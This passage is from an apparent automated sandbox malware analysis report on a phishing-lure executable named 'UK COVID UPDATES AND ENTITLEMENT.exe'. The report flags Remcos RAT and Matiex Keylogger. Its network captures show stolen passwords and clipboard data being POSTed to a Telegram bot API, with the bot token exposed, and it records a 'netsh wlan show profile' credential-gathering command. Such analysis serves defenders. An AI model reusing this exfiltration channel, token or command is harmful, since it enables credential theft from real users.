q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:01 UTC	811	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:01 UTC	821	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:01 GMT Content-Type: application/json Content-Length: 1313 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:01 UTC	822	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 31 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":286,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507521,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49793	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:01 UTC	823	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768031fe11b2 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:01 UTC	824	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 31 66 65 31 31 62 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d9768031fe11b2Content-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:01 UTC	824	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:01 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:01 UTC	825	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 31 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":287,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507521,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49794	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:02 UTC	825	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d97680321d1006 Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:02 UTC	826	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 32 31 64 31 30 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d97680321d1006Content-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:02 UTC	826	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:02 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:02 UTC	827	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 32 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":288,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507522,"do

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6360 Parent PID: 396

General

Start time:	06:30:00
Start date:	13/09/2021
Path:	C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe'
Imagebase:	0xa30000
File size:	611328 bytes
MD5 hash:	FB465F2B05A6FDC86EB711D7E28E7010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp, Author: Joe Security Rule: Remcos, Description: detect Remcos in memory, Source: 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp, Author: Joe Security Rule: Remcos, Description: detect Remcos in memory, Source: 00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.419012391.0000000003F25000.00000004.00000001.sdmp, Author: Joe Security Rule: Remcos, Description: detect Remcos in memory, Source: 00000000.00000002.419012391.0000000003F25000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.418279701.0000000002F5D000.00000004.00000001.sdmp, Author: Joe Security Rule: Remcos, Description: detect Remcos in memory, Source: 00000000.00000002.418279701.0000000002F5D000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: powershell.exe PID: 6632 Parent PID: 6360

General

Start time:	06:30:10
Start date:	13/09/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com
Imagebase:	0xb40000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: conhost.exe PID: 6648 Parent PID: 6632

General

Start time:	06:30:11
Start date:	13/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6064 Parent PID: 6360

General

Start time:	06:31:24
Start date:	13/09/2021
Path:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Imagebase:	0x180000
File size:	611328 bytes
MD5 hash:	FB465F2B05A6FDC86EB711D7E28E7010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 16%, ReversingLabs
Reputation:	low

Analysis Process: UK COVID UPDATES AND ENTITLEMENT.exe PID: 5996 Parent PID: 6360

General

Start time:	06:31:25
Start date:	13/09/2021
Path:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Imagebase:	0x220000
File size:	611328 bytes
MD5 hash:	FB465F2B05A6FDC86EB711D7E28E7010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6708 Parent PID: 6360

General

Start time:	06:31:25
Start date:	13/09/2021
Path:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Imagebase:	0xa0000
File size:	611328 bytes
MD5 hash:	FB465F2B05A6FDC86EB711D7E28E7010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6004 Parent PID: 6360

General

Start time:	06:31:26
Start date:	13/09/2021
Path:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Imagebase:	0x230000
File size:	611328 bytes
MD5 hash:	FB465F2B05A6FDC86EB711D7E28E7010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6688 Parent PID: 6360

General

Start time:	06:31:27
Start date:	13/09/2021
Path:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Imagebase:	0x220000
File size:	611328 bytes
MD5 hash:	FB465F2B05A6FDC86EB711D7E28E7010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6692 Parent PID: 6360

General

Start time:	06:31:28
Start date:	13/09/2021
Path:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Imagebase:	0xe0000
File size:	611328 bytes
MD5 hash:	FB465F2B05A6FDC86EB711D7E28E7010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720 Parent PID: 6360

General

Start time:	06:31:28
Start date:	13/09/2021
Path:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Imagebase:	0x650000
File size:	611328 bytes
MD5 hash:	FB465F2B05A6FDC86EB711D7E28E7010
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Remcos_1, Description: Remcos Payload, Source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Remcos, Description: detect Remcos in memory, Source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001C.00000002.468948804.0000000002900000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001C.00000000.429721772.0000000002900000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Remcos_1, Description: Remcos Payload, Source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Remcos, Description: detect Remcos in memory, Source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001C.00000000.432136781.0000000002900000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Remcos_1, Description: Remcos Payload, Source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Remcos, Description: detect Remcos in memory, Source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, Author: unknown Rule: JoeSecurity_Matiex, Description: Yara detected Matiex Keylogger, Source: 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Matiex, Description: Yara detected Matiex Keylogger, Source: 0000001C.00000003.464230298.0000000002ED1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 0000001C.00000003.464230298.0000000002ED1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Matiex, Description: Yara detected Matiex Keylogger, Source: 0000001C.00000003.424995684.0000000002ED1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 0000001C.00000003.424995684.0000000002ED1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Matiex, Description: Yara detected Matiex Keylogger, Source: 0000001C.00000000.432421502.0000000002ED0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 0000001C.00000000.432421502.0000000002ED0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Matiex, Description: Yara detected Matiex Keylogger, Source: 0000001C.00000003.464012145.0000000002F40000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 0000001C.00000003.464012145.0000000002F40000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Matiex, Description: Yara detected Matiex Keylogger, Source: 0000001C.00000000.429908152.0000000002ED0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 0000001C.00000000.429908152.0000000002ED0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: dwnl.exe PID: 2896 Parent PID: 6720

General

Start time:	06:31:35
Start date:	13/09/2021
Path:	C:\Users\user\AppData\Local\Temp\dwnl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\dwnl.exe'
Imagebase:	0x820000
File size:	454656 bytes
MD5 hash:	FBD3D3CDFB3553A05656C973ACCA98FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Matiex, Description: Yara detected Matiex Keylogger, Source: 00000021.00000000.430155447.0000000000822000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 00000021.00000000.430155447.0000000000822000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Matiex, Description: Yara detected Matiex Keylogger, Source: 00000021.00000002.492777549.0000000000822000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 00000021.00000002.492777549.0000000000822000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Matiex, Description: Yara detected Matiex Keylogger, Source: C:\Users\user\AppData\Local\Temp\dwnl.exe, Author: Joe Security Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: C:\Users\user\AppData\Local\Temp\dwnl.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: WerFault.exe PID: 7148 Parent PID: 6720

General

Start time:	06:31:37
Start date:	13/09/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 920
Imagebase:	0xbc0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: netsh.exe PID: 6988 Parent PID: 2896

General

Start time:	06:31:55
Start date:	13/09/2021
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	'netsh' wlan show profile
Imagebase:	0x11f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5252 Parent PID: 6988

General

Start time:	06:31:56
Start date:	13/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

